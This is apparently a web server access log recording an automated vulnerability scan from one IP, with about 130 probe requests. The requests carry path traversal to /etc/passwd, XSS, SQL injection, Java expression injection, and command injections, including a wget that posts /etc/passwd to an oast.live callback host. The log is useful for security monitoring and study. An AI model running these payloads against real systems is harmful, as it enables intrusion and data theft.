[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /os/mxperson HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/static/../server/pages-manifest.json HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/index.php?pma_servername=d5g6to2hausk1oj0j65g1ts48xmetpc34.oast.live&pma_username=380DIYx8mVzA3tv1vDKrczmeYHz&pma_password=380DIYx8mVzA3tv1vDKrczmeYHz&server=1 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/requestreset HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/admin/common/clearcache?previousUrl=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/15zine/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dfsms/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /magmi/web/magmi_saveprofile.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/css/380DIbR0NIPXmyDan7c8WvDH3KV.css HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380DIMg1H0zDN5qhepU4fx4oY2D/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /EemAdminService/EemAdmin HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://d5g6to2hausk1oj0j65ga1dng5gm4pz1z.oast.live%23 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /account/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics/v1/mbeans HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /external_content/retrieve/oembed?endpoint=http://d5g6to2hausk1oj0j65ghhf35azfycdue.oast.live&url=foo HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proxy.stream?origin=http://d5g6to2hausk1oj0j65gzufagizipfnun.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session/create HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-mail-smtp-pro/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337\">&id=3&nsvpx=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pandora_console/attachment/pandora_chat.log.json.txt HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /AdminTools/querybuilder/logon?framework HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23 HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/libagent.cgi?type=J HTTP/1.1" 199
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\" HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph_realtime.php?action=init HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//d5g6to2hausk1oj0j65g5kkxcuwaek9es.oast.live+-H+'User-Agent%3a+GZp2W6'%60 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/jsonws/invoke HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /menu/stapp HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/weblogin.cgi?username=admin';cat+/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page_slug=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ext-js/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version.web HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?v=d&p=%22;alert(document.domain);%22 HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/data/usrimg/380dikhvy0zmrfkgof2zklrefie.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css/eonweb.css HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/userfiles/image/380DIQeKxsUxFSbVKCe6aAn1xZE.png HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /getcfg.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1 HTTP/1.1" 3426
[09/Jan/2026:10:54:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /meaweb/os/mxperson HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /storfs-asup HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/components/bitrix/mobileapp.list/ajax.php/?AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /magmi/web/magmi_run.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/buddypress/v1/signup HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /messages HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/getSpiritsFromVideo.php?base64Url=YGlkID4gb2l6b2EudHh0YA===&format=jpg HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2finfo.html HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/ping.php?hostname=|dir HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2finfo.html HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bcurl,http://d5g6to2hausk1oj0j65ghfi61anmosik7.oast.live+-H+%27User-Agent:+MEUC81%27%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bcurl,http://d5g6to2hausk1oj0j65gu7dkhff6zmp4o.oast.live+-H+%27User-Agent:+MEUC81%27%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vendor/qcubed/qcubed/assets/php/profile.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/webrpc HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/realms/master/clients-registrations/default HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /graphql HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cf_scripts/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loginLess/../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2finfo.html HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /opensis/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q=aHR0cDovL2xpa2VidG4uY29tLm9hc3QubWU=\" HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/jsonws/invoke HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22curl%20http://d5g6to2hausk1oj0j65gk1q9nc38f1trw.oast.live%22%29%7D__::.x/ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_phpmyadmin/index.php?pma_servername=d5g6to2hausk1oj0j65gze5s6nzkwc3wu.oast.live&pma_username=380DIYx8mVzA3tv1vDKrczmeYHz&pma_password=380DIYx8mVzA3tv1vDKrczmeYHz&server=1 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error3?msg=30&data=';alert('document.domain');// HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /AdminService/urest/v1/LogonResource HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Schemas/$%7B%27%27.class.forName%28%27javax.script.ScriptEngineManager%27%29.newInstance%28%29.getEngineByName%28%27js%27%29.eval%28%27java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29%27%29%7D HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/system_log.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/phastpress/phast.php?service=scripts&src=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20d5g6to2hausk1oj0j65g379e193pxbuap.oast.live) HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1" 199
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cache/backup/ HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4 HTTP/1.1" 196
[09/Jan/2026:10:54:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_bulk HTTP/1.1" 196
